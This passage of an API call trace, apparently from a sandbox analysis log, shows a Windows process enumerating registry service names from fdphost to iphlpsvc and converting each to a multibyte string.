CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0028.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x502850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0028.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0028.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x502850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0028.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x502850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x5a1460, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0028.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x502850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0028.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x502850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0028.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x502850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x5a1418, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0028.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x502850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x5a1460, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0028.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x502850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0028.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x5a1418, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0028.263] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x502850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0028.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0028.263] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x502850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0028.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0028.263] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x502850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0028.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0028.263] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x502850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0028.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x5a1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0028.263] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x502850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0028.264] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x502850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0028.264] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x502850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0028.264] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x502850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x5a1418, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0028.264] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x502850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0028.264] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x502850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0028.264] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x502850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0028.265] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x502850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x5a1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0028.265] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x502850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0028.265] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x502850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0028.265] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x502850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0028.265] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x502850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x5a1418, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0028.265] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x502850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x5a1460, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0028.265] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x502850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0028.266] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x502850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x5a1460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0028.266] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x502850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0028.266] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x502850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0028.266] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x502850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0028.266] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x502850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0028.266] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x502850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x5a1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0028.267] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x502850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0028.267] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x502850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0028.267] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x502850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0028.267] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x502850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0028.267] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x502850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x5a1460, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0028.267] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x502850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x5a1418, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0028.267] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x502850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0028.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 